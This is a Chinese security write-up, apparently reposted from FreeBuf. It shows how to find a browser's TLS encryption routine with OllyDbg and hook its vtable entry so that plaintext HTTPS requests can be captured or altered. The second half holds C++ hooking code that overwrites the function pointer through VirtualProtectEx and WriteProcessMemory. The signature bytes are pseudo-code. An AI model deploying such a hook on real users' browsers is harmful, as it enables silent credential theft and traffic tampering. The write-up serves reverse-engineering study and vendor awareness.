通过Hook技术对浏览器HTTPS劫持

    xiaoxiao2021-04-17  32

    已经发布于freebuf ( http://www.freebuf.com/articles/web/131137.html )

    * 原创作者:浪子_三少,本文属FreeBuf原创奖励计划,未经许可禁止转载

    现在很多网站都使用了 https 的方案,保证了传输中的数据不被修改或者被第三方封包软件看见,但是由于https有一些隐含的缺陷或者服务器验证的不严格,https被劫持的可能性存在,就像之前出现了”净广大师”病毒劫持https,往百度搜索里插入广告id,他使用的方法就是中间人攻击,强行插入自己的证书实现解密https,今天我们介绍一种浏览器劫持的方法实现https劫持,现在我们就开始分析去找到浏览器中https加密的入口。

    (一)分析方法

    首先我们打开浏览器(注意:这里涉及的浏览器的名字都会被隐去),输入baidu.com,在baidu里输入666666

    我们可以看到baidu搜索时浏览器地址栏里,baidu的网站使用的是https链接地址

    接下来使用调试器ollydbg去附加浏览器,然后在命令输入bp WSASend

    然后重新点击百度里的搜索按钮,这是调试器会断在WSASend地方:

    我们再看堆栈区域,往下翻堆栈会看到

    sha256相关的hash计算的,这里就是说在发送数据之前经过一些tls的计算的过程,下面我继续走掉返回到调用WSASend的地方:  0x66F20F20

    这里并不是明文所在的地方,一般进入发包的地方时已经被加密了,我们继续走下去,返回到调用该函数区域的所在函数,因为这个函数没什么特征性,应该还没到达https加密前所在的地方,返回到一个调用比较特别的地方。

    当我们返回到这里CALL DWORD PTR DS:[EDX+8]我们要引起注意,可以大概这样假设,这里是调用 c++一个类的虚表函数。

    我们直接下断点在CALL DWORD PTR DS:[EDX+8]然后F9,接下来浏览器就停在了这句代码上,我们具体分析下内存EDX地址是: 0×68337724

    发现此地址确实是个函数表

    这时我们在翻堆栈信息时发现了明文的请求信息

    按下快捷键:ctrl + G ,输入0x66FC422D,进入该函数地址区域:

    66FC4219    E8 020F1401     CALL xxxxxx.68105120

    66FC421E    83C4 0C         ADD ESP,0C

    66FC4221    03DF            ADD EBX,EDI

    66FC4223    017E 28         ADD DWORD PTR DS:[ESI+28],EDI

    66FC4226    8BCE            MOV ECX,ESI

    66FC4228    E8 D6000000     CALL chrome_1.66FC4303

    66FC422D    837E 2C 00      CMP DWORD PTR DS:[ESI+2C],0

    66FC4231    0F84 C1000000   JE chrome_1.66FC42F8

    66FC4237    837E 2C FF      CMP DWORD PTR DS:[ESI+2C],-1

    66FC423B    0F84 B7000000   JE chrome_1.66FC42F8

    66FC4241    837E 1C FF      CMP DWORD PTR DS:[ESI+1C],-1

    66FC4245    0F85 AD000000   JNZ chrome_1.66FC42F8

    66FC424B    8D4424 20       LEA EAX,DWORD PTR SS:[ESP+20]

    66FC424F    50              PUSH EAX

    66FC4250    8D4E 34         LEA ECX,DWORD PTR DS:[ESI+34]

    66FC4253    E8 4DBB2CFF     CALL xxxxxxx.6628FDA5

    发现这里并没有什么特殊地方我们可以继续F8单步走下去,当我们走到地址67034AB0知道我们之前调用有个特殊的函数,call  [eax+0x30], 可以猜测这里的调用也是一个虚表里的函数。

     

    接下来我们把之前的所有断点全部禁用

    然后在这个函数地方下断点,重新开始baidu搜索,这时浏览器停在了这个函数call  [eax+0x30]的地方 ,此时eax值为0x683A1908

    查看eax的内存所在的地址确实是个函数表,是虚表没错了,edi地址也有明文。

    在分析堆栈,该函数有三个参数

    call [eax+0x30]前有三个

    push [ebp+8]

    push edi

    push esi

    说明该函数是三个参数,在上面堆栈中我们找到前三个值分别是

    0x197D8EE8是第一个参数,这是一个c++类地址,因为0x197D8EE8里的值就是eax的值。

    0x19F2A390 第二个参数为明文缓冲区地址

    0x6BF 第三个参数为缓冲区的长度

    下面我们验证下我们对以上三个参数的验证,F9,下次浏览器会继续停在该函数的地方

    查看堆栈,确实如上猜测 :

    我们再继续回过头分析eax这个值,0x683A1980,这个地址在当前这个程序的这个代码模块内,且在这个模块的”.rdata”程序段内,那这足以证明该地址就是一个https的加密类,而0×30的偏移的函数就是加密函数入口。

     (二)代码实现

    分析到了具体的地方,我们就可以写程序去挂钩这个虚表函数去获取浏览器每次发出去的明文请求。

    我们可以定义一个c++ 虚类

    class ssl_https;

    typedef int ( __cdecl *pSSL_Unknow)(ssl_https* bio,const char* buffer ,const int len );

    typedef int ( __cdecl *pSSL_Crypt)(ssl_https* bio,const char* buffer ,const int len );

    class ssl_https

    {

    public:

     ssl_https();

     ~ssl_https();

    public:

     int m_ssl_type;

     int m_ssl_flags;

     pSSL_Unknow pSSL_Unknow_1;

     pSSL_Unknow pSSL_Unknow_2;

     pSSL_Unknow pSSL_Unknow_3;

     pSSL_Unknow pSSL_Unknow_4;

     pSSL_Unknow pSSL_Unknow_5;

     pSSL_Unknow pSSL_Unknow_6;

     pSSL_Unknow pSSL_Unknow_7;

     pSSL_Unknow pSSL_Unknow_8;

     pSSL_Unknow pSSL_Unknow_9;

     pSSL_Unknow pSSL_Unknow_10;

     pSSL_Crypt  pSSL_Crypt;

     pSSL_Unknow pSSL_Unknow_11;

     pSSL_Unknow pSSL_Unknow_12;

     pSSL_Unknow pSSL_Unknow_13;

     pSSL_Unknow pSSL_Unknow_14;

     pSSL_Unknow pSSL_Unknow_15;

     pSSL_Unknow pSSL_Unknow_16;

     pSSL_Unknow pSSL_Unknow_17;

     pSSL_Unknow pSSL_Unknow_18;

     pSSL_Unknow pSSL_Unknow_19;

     pSSL_Unknow pSSL_Unknow_20;

     pSSL_Unknow pSSL_Unknow_21;

    };

    其中pSSL_Crypt 这个地址就是0×30的偏移的函数指针,接着我就写一个hijack类去实现hook浏览器

    class CBrowser

    {

    public:

     CBrowser();

     ~CBrowser();

     BOOL Init();

     static int __cdecl SSL_Crypt(ssl_https* ssl,const char* buffer ,const int len );

    private:

     ssl_https* m_sslBio;

    public:

     ssl_https* getSslhttps();

    };

    CBrowser::CBrowser()

    {

     m_sslBio = NULL;

    }

    CBrowser::~CBrowser()

    {

    }

    BOOL CBrowser::Init()

    {

     //待搜索续表所在地址的特征码(都是伪码)

     BYTE search_bytes[] = {0xa0,0xff,0xaa,0x99,0x8a,0x75,0x0E};

     //在浏览器的模块里搜索我们需要找到的特征码

     BYTE* bytes_addr = (BYTE*)SearchCodeAddress(

      "浏览器.dll",

      ".text",

      search_bytes,

      sizeof(search_bytes));

     if (bytes_addr)

     {

     

      {

       ULONG_PTR* pAddress = 0;

       

       pAddress = (ULONG_PTR*)(*((ULONG_PTR*)&bytes_addr[8]));

       

       if ( pAddress)

       {

        //这里是比较续表的大小是否在范围里

        if ( abs((long)((pAddress[1]) -(ULONG_PTR) pAddress))  < 0x100)

        {

         ssl_https* oril_ssl = (ssl_https*)(pAddress[1]);

         //分配一个新虚表地址

         m_sslBio = (ssl_https*)malloc(sizeof(ssl_https));

         if (m_sslBio)

         {

          //复制原始虚表函数表

          memcpy(m_sslBio,oril_ssl,sizeof(ssl_https));

          DWORD dwOldProtect = 0;

          DWORD dwTemp;

          

          

          ULONG_PTR NewSslCrypt = (ULONG_PTR)SSL_Crypt;

          //去掉地址保护属性

          VirtualProtectEx(

            GetCurrentProcess(),

            &oril_ssl->pSSL_Crypt,

            sizeof(ULONG_PTR),

            PAGE_READWRITE,

            &dwOldProtect);

          //改写地址的值为自己的挂钩函数

          if(::WriteProcessMemory(

            GetCurrentProcess(),

            &oril_ssl->pSSL_Crypt,

            &NewSslCrypt,

            sizeof(ULONG_PTR),

            NULL))

          {

            VirtualProtectEx(

             GetCurrentProcess(),

             &oril_ssl->pSSL_Crypt,

             sizeof(ULONG_PTR),

             dwOldProtect,

             &dwTemp);

            return TRUE;

          }

          VirtualProtectEx(

            GetCurrentProcess(),

            &oril_ssl->pSSL_Crypt,

            sizeof(ULONG_PTR),

            dwOldProtect,

            &dwTemp);

         }

        }

       }

      }

     }

     return FALSE;

    }

    ssl_https* CBrowser::getSslBio()

    {

     return m_sslBio;

    }

    int CBrowser::SSL_Crypt(ssl_https* bio,const char* buffer ,const int len )

    {

     if (getSslBio())

     {

      

      //在这里我们可以加入自己的分析过滤模块, 对原始请求进行过滤

      Analyze(buffer,len);

      //调用原始的函数表去加密

      int nResult = getSslBio()->pSSL_Crypt(bio,buffer,len);

      return nResult;

     }

     return 0;

    }

    在以上代码我们获取了模块加密类的虚表地址后就替换刚才那个偏移地址,修改指针去实现hook,当我们在浏览器里百度搜索时,会停在我们的函数里

    Buffer参数

    Len值

    结果和我们预想的一样,这样我们就通过hook实现了浏览器https明文的截获,在我们的hook函数中我们可以做任何事情,可以过滤数据,可以转发数据,甚至我们还能修改请求数据,如果我们再hook了浏览器的https的解密函数,也能过滤或者修改从服务器端接受的https数据回应信息,实现我们想要的各种功能。

    总结

    自此本文结束,综上所讲的hook技术能够破坏浏览器程序本身,导致https被劫持,而浏览器却无法察觉,可见浏览器厂商对自身的安全性保障也是一个很重要的、值得他们去深思研究的问题。

    (注意:本文只是属于技术分享,请勿用于非正常途径,故而会隐去浏览器的名称)

    转载请注明原文地址: https://ju.6miu.com/read-673457.html

    最新回复(0)